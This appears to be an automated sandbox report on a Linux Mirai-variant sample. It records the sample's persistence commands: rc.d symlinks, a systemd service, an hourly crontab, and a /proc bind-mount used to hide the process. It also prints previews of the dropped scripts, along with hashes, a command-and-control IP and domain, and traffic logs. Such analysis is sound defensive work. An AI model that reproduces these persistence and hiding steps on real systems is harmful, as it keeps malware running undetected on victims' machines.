Source: /var/tmp/nginx_kel (PID: 5229)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5231)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5233)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5247)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5249)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5251)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5258)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5266)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5268)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5295)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5061)	Shell command executed: sh -c "crontab /var/tmp/.recoverys"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5154)	Shell command executed: sh -c "systemctl daemon-reload > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5368)	Shell command executed: sh -c "systemctl enable dnsconfigs.service > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5410)	Shell command executed: sh -c "systemctl start dnsconfigs.service > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5059)	Shell command executed: sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 4810)	Systemctl executable: /bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 4893)	Systemctl executable: /bin/systemctl -> systemctl enable dnsconfigs.service	Jump to behavior
Source: /bin/sh (PID: 4983)	Systemctl executable: /bin/systemctl -> systemctl start dnsconfigs.service	Jump to behavior
Source: /bin/sh (PID: 5155)	Systemctl executable: /bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5369)	Systemctl executable: /bin/systemctl -> systemctl enable dnsconfigs.service	Jump to behavior
Source: /bin/sh (PID: 5411)	Systemctl executable: /bin/systemctl -> systemctl start dnsconfigs.service	Jump to behavior

Source: /tmp/mirai_nomi (PID: 4733)	File: /var/tmp/nginx_kel (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4737)	File: /etc/init.d/dnsconfig (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5058)	File: /var/tmp/nginx_kel (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5060)	File: /etc/init.d/dnsconfig (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /bin/cp (PID: 4707)

File written: /var/tmp/nginx_kel

Jump to dropped file

Source: /tmp/mirai_nomi (PID: 4737)	Writes shell script file to disk with an unusual file extension: /etc/init.d/dnsconfig
Source: /var/tmp/nginx_kel (PID: 5060)	Writes shell script file to disk with an unusual file extension: /etc/init.d/dnsconfig			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/mirai_nomi (PID: 4737)	File: /etc/init.d/dnsconfig
Source: /var/tmp/nginx_kel (PID: 5060)	File: /etc/init.d/dnsconfig			Jump to dropped file

Source: mirai_nomi	Submission file: segment LOAD with 7.6344 entropy (max. 8.0)
Source: mirai_nomi	Submission file: segment LOAD with 7.9391 entropy (max. 8.0)
Source: nginx_kel.12.dr	Dropped file: segment LOAD with 7.6344 entropy (max. 8.0)
Source: nginx_kel.12.dr	Dropped file: segment LOAD with 7.9391 entropy (max. 8.0)

Anti Debugging

Executes itself again with its parent PID as an argument (indicative of hampering debugging)

Source: /tmp/mirai_nomi (PID: 4708)	Process with PPID: /bin/sh -> sh -c "mount -o bind /tmp/nginx_server /proc/4700/ > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4735)	Process with PPID: /bin/sh -> sh -c "mount -o bind /tmp/nginx_server /proc/4734/ > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5032)	Process with PPID: /bin/sh -> sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5059)	Process with PPID: /bin/sh -> sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Performs DNS TXT record lookups

Source: Traffic	DNS traffic detected: queries for: 30bc746e3c.dontargetme.nl
Source: Traffic	DNS traffic detected: queries for: 30bc746e3c.dontargetme.nl

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: Process Memory Space: mirai_nomi PID: 4700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mirai_nomi PID: 4733, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mirai_nomi PID: 4811, type: MEMORYSTR
Source: Yara match	File source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: Process Memory Space: mirai_nomi PID: 4700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mirai_nomi PID: 4733, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mirai_nomi PID: 4811, type: MEMORYSTR
Source: Yara match	File source: 5058.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4811.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5104.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Systemd Service	1 Systemd Service	2 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scripting	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mirai_nomi	75%	ReversingLabs	Linux.Trojan.Multiverze
mirai_nomi	55%	Virustotal		Browse
mirai_nomi	100%	Avira	LINUX/Mirai.jwszm

Dropped Files

Source	Detection	Scanner	Label	Link
/var/tmp/nginx_kel	100%	Avira	LINUX/Mirai.jwszm
/etc/init.d/dnsconfig	21%	ReversingLabs	Linux.Trojan.Generic
/etc/init.d/dnsconfig	16%	Virustotal		Browse
/var/tmp/nginx_kel	75%	ReversingLabs	Linux.Trojan.Multiverze
/var/tmp/nginx_kel	55%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
30bc746e3c.dontargetme.nl	unknown	unknown	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.31.127.144	unknown	United Kingdom		9009	M247GB	true
129.6.15.28	unknown	United States		49	US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
129.6.15.28	SecuriteInfo.com.Other.Malware-gen.28386.14039.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.3200.4135.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.31307.16494.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.6954.6684.13146.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.22921.14172.elf	Get hash	malicious	Mirai	Browse
	PrHBHHWE5U.elf	Get hash	malicious	Mirai	Browse
	y99ZI1Kjg8.exe	Get hash	malicious	Unknown	Browse
	QP6s4u5SZ8.exe	Get hash	malicious	Unknown	Browse
	2X3f1ykTmM.exe	Get hash	malicious	Kronos	Browse
	kr.exe	Get hash	malicious	Kronos	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS	n0CEgmtnuf.elf	Get hash	malicious	Mirai	Browse	129.6.93.245
	SecuriteInfo.com.Other.Malware-gen.28386.14039.elf	Get hash	malicious	Mirai	Browse	129.6.15.28
	SecuriteInfo.com.Other.Malware-gen.3200.4135.elf	Get hash	malicious	Mirai	Browse	129.6.15.28
	SecuriteInfo.com.Other.Malware-gen.31307.16494.elf	Get hash	malicious	Mirai	Browse	129.6.15.28
	SecuriteInfo.com.Linux.Siggen.6954.6684.13146.elf	Get hash	malicious	Mirai	Browse	129.6.15.28
	SecuriteInfo.com.Other.Malware-gen.22921.14172.elf	Get hash	malicious	Mirai	Browse	129.6.15.28
	PrHBHHWE5U.elf	Get hash	malicious	Mirai	Browse	129.6.15.28
	vrcd941p2O.elf	Get hash	malicious	Mirai	Browse	129.6.182.34
	LsgqN88sQ4.elf	Get hash	malicious	Mirai	Browse	132.163.106.84
	wNxS15qBuw.elf	Get hash	malicious	Unknown	Browse	129.6.111.194
M247GB	Ref19920830281982938RT.xls	Get hash	malicious	Remcos	Browse	194.187.251.115
	TEILll7BsZ.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	Pd3mM82Bs6.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	c3f3d7cea638c32610d85c9c1dfdcfe3cba3dad9e932257113f07ffcac34b280_dump.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	QyvAWkfdLM.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	uBgwoHPWaf.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	QJqJic3hex.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	HeYgs7bTvy.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	91713a00dd18d04d68a6b34ac3c20206f1bd38cfb72506ef32baadd380c3f993_dump.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231
	3.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	91.202.233.231

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/init.d/dnsconfig	SecuriteInfo.com.Other.Malware-gen.28386.14039.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.3200.4135.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.31307.16494.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.6954.6684.13146.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Other.Malware-gen.22921.14172.elf	Get hash	malicious	Mirai	Browse
	PrHBHHWE5U.elf	Get hash	malicious	Mirai	Browse

Created / dropped Files

/etc/init.d/dnsconfig

Download File

Process:	/var/tmp/nginx_kel
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	4.698341250256645
Encrypted:	false
SSDEEP:	24:97kNF9r4bIgxIgBfI7IDbIQ/oITskGNyv6qITbp4:9mekgCgBAEYQ9TstyOTb2
MD5:	DF56EA52B8CEE93884F3872D25A85DB0
SHA1:	2FD0C7407ED67253A807D1D01C6FFD3467EDAF8E
SHA-256:	A402D683E16519793B06F663163D750B4E82922CF3B18AF5A655DE41328B9BF5
SHA-512:	E390943755721BA7F0210439F0FC8E5E3DAAF98BA1DF923464AA547C5A7C6F941240658C8FA59270D6F73539FD8B0A04D7BDC9C407F13D9301588D5CF9AA68DA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21% Antivirus: Virustotal, Detection: 16%, Browse
Joe Sandbox View:	Filename: SecuriteInfo.com.Other.Malware-gen.28386.14039.elf, Detection: malicious, Browse Filename: SecuriteInfo.com.Other.Malware-gen.3200.4135.elf, Detection: malicious, Browse Filename: SecuriteInfo.com.Other.Malware-gen.31307.16494.elf, Detection: malicious, Browse Filename: SecuriteInfo.com.Linux.Siggen.6954.6684.13146.elf, Detection: malicious, Browse Filename: SecuriteInfo.com.Other.Malware-gen.22921.14172.elf, Detection: malicious, Browse Filename: PrHBHHWE5U.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: asd.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: Start asd at boot time.# Description: Enable service provided by daemon..### END INIT INFO..# Change the following to the path of your program.ASD_PATH="/var/tmp/nginx_kel"..section_enabled() {. $ASD_PATH initd &. return 0.}..section_provider() {. $ASD_PATH initd &. return 1.}..start_instance() {. $ASD_PATH initd &.}..start_service() {. $ASD_PATH initd &.}..stop_service() {. $ASD_PATH initd &.}.case "$1" in. start). echo "Starting asd". # Start command for your program. $ASD_PATH initd &. ;;. stop). echo "Stopping asd". # Stop command for your program. pkill -f $ASD_PATH. ;;. restart). echo "Restarting asd". $ASD_PATH initd &. ;;. *). echo "Usage: $0 {start

/etc/systemd/system/dnsconfigs.service

Download File

Process:	/var/tmp/nginx_kel
File Type:	ASCII text
Category:	dropped
Size (bytes):	174
Entropy (8bit):	4.784414897762801
Encrypted:	false
SSDEEP:	3:zMZa7siUUnQ22AXAikA18v3muEcEn7iAev8x0gdK+Zn8OkSISkQmWA1+DRn:z8qUU1XAg8vBU7rm+ZfkHLQmWA4Rn
MD5:	900F683B08977636B092FCBFA1AD8A42
SHA1:	6D521F5C3E862F1106D9AC6A3A654E57E6814333
SHA-256:	71D21310D1C7DBB935F3B61311403B0EC0FA32DC73F91720365416A646C2DFB3
SHA-512:	50B5426500D8B5DCCB7FD71FE9A448AE1C76770890BA86C37E7DECBF2CA1F0E1CD20C50996260F37114BA2BDB16AE927E4AFAD241A51E3D22112ADA8E25604B0
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=dnsconfigs Server Service.[Service].Type=simple.Restart=always.RestartSec=60.User=root.ExecStart=/var/tmp/nginx_kel sv.[Install].WantedBy=multi-user.target

/tmp/server_session.lock

Download File

Process:	/var/tmp/nginx_kel
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:Af:Af
MD5:	4A7423149B14BCE127599DAE6F15B34F
SHA1:	FF320955541D45AF5F17AF088A66735128FCE666
SHA-256:	1A57B8D939B80CE9D2138B8DB72F37C70303DFB533ADDA414FA8459F2C8B0B44
SHA-512:	85FD1696933C6E7826EABB7DC7C4CB2460366329B03EBB8C23EA3AC07DA46BE0F5E36F77C8315E3737B64F25D8B1B9A92B20F0F51346B2A28A68327352AC1152
Malicious:	false
Reputation:	low
Preview:	5020.

/var/spool/cron/crontabs/tmp.K7NAYP

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.130227944017748
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1K+1yOBFQat0qZHGMQ5UYLtCFt3PYIa9fkQvn:8QjP8fOeHLUQbNvn
MD5:	8312F589E46E903B3C48076FBF97FBD2
SHA1:	B3AB694248D0F840D01270A954AA1CDC5C9B3563
SHA-256:	E5E6850ED866F69AC8B2CF8867803D4CF6F4368A5A4C3938BDFB786E0EF86B04
SHA-512:	B65CF9D699DFCAD78DE9B185048E6CA3A3C0C82E4200B2FD604A2517D174D4FE45C2927F926617185205251FF72779EA5529C4C308AA0C6E5FFA1F4466C461B6
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/var/tmp/.recoverys installed on Mon May 27 07:23:04 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).0 * * * * /var/tmp/nginx_kel crontab.

/var/spool/cron/crontabs/tmp.rHYaCv

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.142205715766285
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1K+1yOBFQat0ZHGMQ5UYLtCFt3PYIa9fkQvn:8QjP8feHLUQbNvn
MD5:	0B9E4B84E3A9E9441F3CD0EFE95FD40B
SHA1:	EBCD0E4B4EDCC5B68BE941F0623BCED9B15B666B
SHA-256:	49FCEF46184A19025A023BC42A16C9493853EC880496F4442C31484C4A5D0BAC
SHA-512:	1F630DE2A19EC32BD5F67F89DCCD7D6FFB97881DE8BFA8FB7E3B7407D30795D96D9CE66B89A74D014770426B479F8F471700477F636CF64F71B264DBABA43375
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/var/tmp/.recoverys installed on Mon May 27 07:23:05 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).0 * * * * /var/tmp/nginx_kel crontab.

/var/tmp/.recoverys

Download File

Process:	/var/tmp/nginx_kel
File Type:	ASCII text
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.15487093296263
Encrypted:	false
SSDEEP:	3:VP3wIa98OkQvn:yIa9fkQvn
MD5:	ABE9A0E06459D029E0F5183965DBBF3B
SHA1:	7E79E16EA12FED960BCEE8EB5A9C6384FA61A2D1
SHA-256:	B2CFE7490D6DD2F81EDE3ED9DB30C78637F4A1E98ED746EAA00998E95D3DE384
SHA-512:	955AECE23C24E5B1CE32A90FA014A8A6FAC39B68707A13F56CD1BFB07C79DFC59806942732990AAF925DB5724F381827E2C35EBA21FE95CE9A760760527048CD
Malicious:	true
Reputation:	low
Preview:	0 * * * * /var/tmp/nginx_kel crontab.

/var/tmp/nginx_kel

Download File

Process:	/bin/cp
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Category:	dropped
Size (bytes):	282772
Entropy (8bit):	7.938908588943457
Encrypted:	false
SSDEEP:	6144:Srj5qBhXyQWYBFXluz65zGhMxa7he/zh6vt5EoapOctrTLPeYm8m:utqBd6YBZlKUOItMapOctPrC
MD5:	AF965BB7D4A5C448931838BDDFBCC302
SHA1:	C9AE044AFE890E62B8C70FDB132647F1540958C2
SHA-256:	83A2709A64F7D76F99AF95DFA7416E1A0293CB2B1771BC3636392E05BCFABF3D
SHA-512:	F9FBEDDD51C12EFA1F1F2A03BAEA89F05210D0AA4ABBE48F37CCB104C7FF66D505E7F4BCE1ED994C09A2BAA2CC20DA271E7B854FC676FFF86DC0DE913BAEB041
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 55%, Browse
Reputation:	low
Preview:	.ELF..............>......F......@...................@.8...@.......................@.......@...................... ......................................N.......N........ .....Q.td....................................................&+...>.....................d.........!..............@..-.n.....#..v.........+......<a.G.......;7....W...}vBJ_-\|..7.....1...u..... ....}...A...I.......W8.<..............o..T.-.....]1..?.D.....s.{.Y..+.._.P...Q..0...l0....k7..<.k+..m...?.....T..$P.j..n.....,G\..O.../o.%"k\.]...+7Co....HDD.9...@6/0$..o......t..-..<.....V..O..mo.. +'/..Pn...+..b......Y....?....n...P...........<..........?.......{{+..]/.]..4.<]!...$...kx..,I...]..]..]..[k...u$W,+....L?i_..mo3._=.....d...;..;.w..0.n...D..]..`..lj.....].....+...k....v.-..J.=P.......m.L...X....?.?...m..~....W.....?.u.`J.8..).%.....o.2........W...<.3............_._.-..p.7.[...\.......P0.o.Y..../t.(..k.......sj..hmw..0...L.6u...r]..]4W<..H0Tmso....._..W:.!U..]...]..9..~.....<..7.n

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Entropy (8bit):	7.938908588943457
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mirai_nomi
File size:	282'772 bytes
MD5:	af965bb7d4a5c448931838bddfbcc302
SHA1:	c9ae044afe890e62b8c70fdb132647f1540958c2
SHA256:	83a2709a64f7d76f99af95dfa7416e1a0293cb2b1771bc3636392e05bcfabf3d
SHA512:	f9fbeddd51c12efa1f1f2a03baea89f05210d0aa4abbe48f37ccb104c7ff66d505e7f4bce1ed994c09a2baa2cc20da271e7b854fc676fff86dc0de913baeb041
SSDEEP:	6144:Srj5qBhXyQWYBFXluz65zGhMxa7he/zh6vt5EoapOctrTLPeYm8m:utqBd6YBZlKUOItMapOctPrC
TLSH:	2B54234C47221361DDA599B353FE2C4A607061BEC78E13C6DFA73A6E01D39DB1A61B0A
File Content Preview:	.ELF..............>......F......@...................@.8...@.......................@.......@...................... ......................................N.......N........ .....Q.td....................................................&+...>................

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x844618
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	64
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x400000	0x400000	0x1000	0x2aa408	7.6344	0x6	RW	0x200000
LOAD	0x0	0x800000	0x800000	0x44ef4	0x44ef4	7.9391	0x5	R E	0x200000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 14:23:05.425923109 CEST	59072	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:05.430939913 CEST	24150	59072	89.31.127.144	192.168.2.20
May 27, 2024 14:23:05.431025982 CEST	59072	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:05.930000067 CEST	59072	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:05.936228037 CEST	24150	59072	89.31.127.144	192.168.2.20
May 27, 2024 14:23:05.936290979 CEST	59072	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.120645046 CEST	59074	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.126398087 CEST	24150	59074	89.31.127.144	192.168.2.20
May 27, 2024 14:23:07.126780033 CEST	59074	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.658941984 CEST	24150	59074	89.31.127.144	192.168.2.20
May 27, 2024 14:23:07.659038067 CEST	24150	59074	89.31.127.144	192.168.2.20
May 27, 2024 14:23:07.659467936 CEST	59074	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.659468889 CEST	59074	24150	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.659468889 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.665013075 CEST	24150	59074	89.31.127.144	192.168.2.20
May 27, 2024 14:23:07.665057898 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:23:07.665313959 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.665314913 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.670617104 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:23:07.670928001 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:23:07.675913095 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:23:15.671665907 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:23:15.677212000 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:23:15.845673084 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:23:15.846102953 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:24:03.890247107 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:24:03.895903111 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:24:04.064796925 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:24:04.064913988 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:24:52.098164082 CEST	59860	17560	192.168.2.20	89.31.127.144
May 27, 2024 14:24:52.103645086 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:24:52.272644043 CEST	17560	59860	89.31.127.144	192.168.2.20
May 27, 2024 14:24:52.272840977 CEST	59860	17560	192.168.2.20	89.31.127.144

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 14:23:04.951848984 CEST	52248	123	192.168.2.20	129.6.15.28
May 27, 2024 14:23:05.414974928 CEST	123	52248	129.6.15.28	192.168.2.20
May 27, 2024 14:23:05.417998075 CEST	59085	53	192.168.2.20	8.8.8.8
May 27, 2024 14:23:05.425574064 CEST	53	59085	8.8.8.8	192.168.2.20
May 27, 2024 14:23:06.652303934 CEST	60952	123	192.168.2.20	129.6.15.28
May 27, 2024 14:23:07.112024069 CEST	123	60952	129.6.15.28	192.168.2.20
May 27, 2024 14:23:07.112746000 CEST	45265	53	192.168.2.20	8.8.4.4
May 27, 2024 14:23:07.120258093 CEST	53	45265	8.8.4.4	192.168.2.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 27, 2024 14:23:05.417998075 CEST	192.168.2.20	8.8.8.8	0x0	Standard query (0)	30bc746e3c.dontargetme.nl	16	IN (0x0001)	false
May 27, 2024 14:23:07.112746000 CEST	192.168.2.20	8.8.4.4	0x0	Standard query (0)	30bc746e3c.dontargetme.nl	16	IN (0x0001)	false

DNS Answers

